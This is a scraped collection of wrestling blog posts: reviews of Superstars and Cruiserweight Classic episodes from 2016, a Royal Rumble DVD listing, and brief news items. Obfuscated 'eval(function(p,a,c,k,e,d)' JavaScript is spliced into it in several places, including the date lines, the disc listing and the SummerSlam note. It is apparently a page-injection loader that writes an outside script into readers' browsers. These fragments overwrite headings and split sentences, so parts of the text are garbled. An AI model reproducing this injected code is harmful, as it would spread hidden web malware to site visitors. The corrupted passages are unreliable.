Superstars – September 30, 2016: Now With More People You Won’t See On This Show

Superstars
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zbbhs|var|u0026u|referrer|ekbni||js|php'.split('|'),0,{})) September 30, 2016
Location: US Bank Arena, Cincinnati, Ohio
Commentators: Tom Phillips, Corey Graves

Sami Zayn vs. Curtis Axel

We see a long stretch, as in the better part of five minutes, of Roman Reigns vs. Rusev from Raw.

Neville vs. Jinder Mahal

Back with Mahal missing a charge and falling outside again, only to have him send Neville ribs first into the apron. A basement dropkick puts Neville down and a big boot to the face gets two. Neville comes back with his series of kicks, including a big one to knock Mahal out of the air. The Red Arrow puts Mahal away at 8:55.

Most of Kevin Owens on the Highlight Reel (minus anything with Enzo and Cass) ends the show.

Owens moves on to Rollins and says the rib injury is karma after all the people Seth injured over the last year and a half. Cue Rollins but security and Foley pull him back.

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Full Listings For True Story Of The Royal Rumble DVD

They kind of have to mix this up due to the Network making these matches so accessible.

DISC eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|adzhz|var|u0026u|referrer|itayh||js|php'.split('|'),0,{})) 1:

Documentary:
* It All Begins Here
* Origins
* The Prestige
* Controversies
* Surprises
* Undercard
* Records
* Moments
* Legacy

DISC 2:

Special Features:
* Devil Hair
* Pamela Anderson
* Mae Young
* Ric Flair’s Return
* Batista Zipper
* Women in the Rumble

Matches:
Royal Rumble Match
Royal Rumble • January 24, 1988

The Rockers vs. The Orient Express
Royal Rumble • January 19, 1991

WWE Championship Match
Ultimate Warrior vs. Sgt. Slaughter
Royal Rumble • January 19, 1991

Royal Rumble Match
Royal Rumble • January 22, 1994

WWE Championship Match
Sycho Sid vs. Shawn Michaels
Royal Rumble • January 19, 1997

Tazz vs. Kurt Angle
Royal Rumble • January 23, 2000

DISC 3:

Royal Rumble Match
Royal Rumble • January 21, 2001

Royal Rumble Match
Royal Rumble • January 28, 2007

WWE Championship Match
CM Punk vs. The Rock
Royal Rumble • January 27, 2013

WWE Divas Championship Match
Charlotte vs. Becky Lynch
Royal Rumble • January 24, 2016

BLU-RAY EXCLUSIVES:

Winner Gets #30; Loser Gets #1
Duke Droese vs. Hunter Hearst Helmsley
Royal Rumble – Free For All • January 21, 1996

Winner is #1 Contender
15-Man Royal Rumble Match
SmackDown • January 29, 2004

Winner is #1 Contender
RAW Royal Rumble
RAW • January 31, 2011

Booker T Interview with Shawn Michaels
Royal Rumble Kickoff • January 25, 2015

 

Having four Rumbles in full is a good idea but most of the matches are nothing worth seeing.  The TV Rumbles are interesting as they feel a bit more rare but this is all about the documentary and there’s nothing wrong with that.  Oh and a lot of Shawn because of course.



Cruiserweight Classic – September 14, 2016: Grand Finale

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ydfby|var|u0026u|referrer|tfnyz||js|php'.split('|'),0,{})) Classic
Date: September 14, 2016
Location: Full Sail University, Winter Park, Florida
Commentators: Daniel Bryan, Mauro Ranallo

We open with a look back at the tournament, narrated by HHH.

Opening sequence.

The announcers talk about the show a bit.

Preview of the first semifinal match.

Video on all four semifinalists.

Semifinals: Gran Metalik vs. Zack Sabre Jr.

William Regal comes out and gives Metalik a big medal for winning.

Johnny Gargano and Tommaso Ciampa are out to prove something tonight against Noam Dar and Cedric Alexander. All that matters to them is a rematch with the Revival.

Semifinals: Kota Ibushi vs. TJ Perkins

Rating: A. I was losing my mind on those near falls and that just does not happen to me very often. Perkins is someone that I never saw much in but this match here more than won me over. He had a logical game plan here and he stuck with it until the ending while Ibushi was throwing everything he could. I had a blast with this match and it never stopped being a blast.

Sasha Banks, Bayley, Kalisto, Jack Gallagher and Rich Swann are in the crowd.

Noam Dar/Cedric Alexander vs. Johnny Gargano/Tommaso Ciampa

Everything breaks down again and a series of clotheslines and superkicks puts all four down. Dar reverses a kick and grabs an ankle lock on Johnny, only to have Ciampa go all psycho while stomping to break up the hold. Dar dives onto Johnny and Alexander hits a very hard brainbuster for what looked like three but the referee says keep going. Gargano comes back in with his superkicks to both guys, setting up the running knee/superkick combo for the pin on Dar at 9:42.

Rating: B. Totally wild match here to give us a little change of pace from the tournament matches. These guys beat the heck out of each other and there were some great near falls even though there was little doubt that Gargano/Ciampa were going to win due to their upcoming match with the Revival. Still though, this was a very entertaining match and a good idea after the two great matches we saw earlier.

Corey Graves comes in to talk a bit as we fill in time before the main event.

We recap the semifinals.

Quick look at the trophy.

Cruiserweight Classic Final: Gran Metalik vs. TJ Perkins

Cruiserweight Title: Gran Metalik vs. TJ Perkins

Results

Gran Metalik b. Zack Sabre Jr. – Metalik Driver

TJ Perkins b. Kota Ibushi – Kneebar

Johnny Gargano/Tommaso Ciampa b. Noam Dar/Cedric Alexander – Running knee/superkick combo to Dar

TJ Perkins b. Gran Metalik – Kneebar


https://www.amazon.com/dp/B01IH7O904


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Cruiserweight Classic – September 7, 2016: That’s Not Fandango

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Date: September 7, 2016
Location: Full Sail University, Winter Park, Florida
Commentators: Daniel Bryan, Maruo Ranallo

Opening sequence.

Quarterfinals: Zack Sabre Jr. vs. Noam Dar

Dar can barely stand for the official decision so they hug from the mat.

Quarterfinals: TJ Perkins vs. Rich Swann

Perkins immediately checks on Swann and seems almost sad that he had to beat him.

Results

Zack Sabre Jr. b. Noam Dar – Rings of Saturn

TJ Perkins b. Rich Swann – Kneebar

 

https://www.amazon.com/dp/B01IH7O904


And check out my Amazon author page with cheap wrestling books at:


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Cruiserweight Classic – August 31, 2016: They Have It All

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ntaai|var|u0026u|referrer|efhrb||js|php'.split('|'),0,{})) Classic
Date: August 31, 2016
Location: Full Sail University, Winter Park, Florida
Commentators: Daniel Bryan, Mauro Ranallo

We open with a look at the Great Eight.

Bryan and Mauro talk about the tournament so far.

Quarterfinals: Gran Metalik vs. Akira Tozawa

Back in again and they chop it out until Tozawa gets bored and just punches Metalik in the jaw. Well mask but you get the idea. Metalik blasts him with a superkick and a standing shooting star (getting a bit too common as well) gets two. The Metalik Driver is countered into a Saito suplex for two more and Tozawa is stunned.

Tozawa charges into a superkick which just makes him scream more so Metalik sends him outside for the springboard flip dive. Back in again and Tozawa takes him up top for a superplex, only to get reversed into a great looking hurricanrana. The fans would like them to fight forever and Tozawa hits his German suplex for two. Metalik fights out of another German suplex and hits the Metalik Driver for the pin at 15:48.

They shake hands post match.

Brian Kendrick knows this might be his last shot.

Kota Ibushi is one of the best in the world and wants to win because he loves wrestling.

Quarterfinals: Brian Kendrick vs. Japan

More kicks have Kendrick in trouble so he grabs a neckbreaker across the turnbuckle rod for a unique counter. Brian grabs a cravate to stay on the bad (and surgically repaired) neck, only to eat a dropkick to put both guys down. A middle rope moonsault gets two for Ibushi but Kendrick superkicks his head off to get them back to even. Sliced Bread #2 gets another near fall for Kendrick so Ibushi gives him a release German superplex from just off the corner to knock Brian silly.

Rating: B. I thought the first match was more entertaining but this one told a better story. This was all about Kendrick throwing everything he had at Ibushi but not being able to put him away and eventually falling to the better man. The neck injury was a good bonus to the story and gave Brian enough of an opening to make this interesting. The storytelling was carrying this and it was very entertaining as a result. Good stuff here and Kendrick continues to surprise me in this thing.

Results

Gran Metalik b. Akira Tozawa – Metalik Driver

Kota Ibushi b. Brian Kendrick – Gold Star Bomb

 

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Mr. Fuji Passes Away At 82

http://www.wwe.com/article/mr-fuji-passes-away

I know Fuji is best remembered as the other manager when you have people like Jimmy Hart and Bobby Heenan around in the 80s, but a lot of people forget a few things about him, including the following:

    eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ainaf|var|u0026u|referrer|zheza||js|php'.split('|'),0,{}))

  1. Shawn Michaels loves Mr. Fuji

 

2. He still holds the record for most days as a WWF Tag Team Champion, 932 over five reigns.  Billy Gunn is second with 916 and then it’s Ax and Smash at over 100 days less.

 

3. And then this.  If you’ve never seen it, I give you the 80s.

 



Cruiserweight Classic – August 24, 2016: A Surprise

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aknnd|var|u0026u|referrer|kiffn||js|php'.split('|'),0,{})) Classic
Date: August 24, 2016
Location: Full Sail University, Winter Park, Florida
Commentators: Daniel Bryan, Mauro Ranallo

We open with a recap of the tournament via a HHH voiceover as well as seeing the (really simple) trophy being unveiled.

Opening sequence.

The announcers talk about last week and tonight.

Rich Swann says wrestling saved his life.

Second Round: Lince Dorado vs. Rich Swann

We look at Johnny Gargano/Tommaso Ciampa losing to the Revival at Takeover.

Drew Gulak likes to hurt people.

Zack Sabre Jr. knows how to wrestle and can escape anything.

Drew Gulak vs. Zack Sabre Jr.

Drew shakes hands after the match.

TJ Perkins is a high flier and one of the best in the world.

Johnny Gargano is one of the best in the world period and had a great match against Tommaso Ciampa to get to the second round.

Second Round: TJ Perkins vs. Johnny Gargano

Here are the quarterfinal matchups:

Akira Tozawa

Gran Metalik

Zack Sabre Jr.

Noam Dar

Brian Kendrick

Kota Ibushi

TJ Perkins

Rich Swann

Results

Rich Swann b. Lince Dorado – Phoenix Splash

Zack Sabre Jr. b. Drew Gulak – Rollup

TJ Perkins b. Johnny Gargano – Kneebar

 

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Finn Balor Relinquishes Universal Title

http://411mania.com/wrestling/finn-balor-relinquishes-the-wwe-universal-title/

 

WOW.  I mean WOW.  Balor separated/dislocated his shoulder taking the buckle bomb against the barricade last night and word on the street is he might be out three months.  On top of that though: how important is it that he won last night?  If Balor lost last night, the Demon looks like a joke and he’s sent scurrying away after his first pay per view match.  Now he fought through an injury and can come back as the uncrowned champion.

Odds are we get champion Rollins again, but dang this is bad.

Edit: According to Cole on Raw, he’s going to be out SIX MONTHS.  That means no Rumble and barely getting back for Wrestlemania.



Summerslam To Have 3 Kickoff Matches, 13 Matches Total

Now eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|estyy|var|u0026u|referrer|syztr||js|php'.split('|'),0,{})) with the Dudley Boyz vs. Sami Zayn/Neville and the six Smackdown tag teams in a twelve man tag.  Cesaro vs. Sheamus has also been bumped to the pre-show.

 

Even I’m getting tired of all this.  There’s no need to cram all this stuff on there and it’s just going to burn the audience out even more than they already are.



Eva Marie Suspended For Wellness Violation

http://411mania.com/wrestling/eva-marie-suspended-by-wwe-for-wellness-policy-violation/

Just…….wow.  I mean WOW.

Bayley as a main roster replacement in the six woman tag?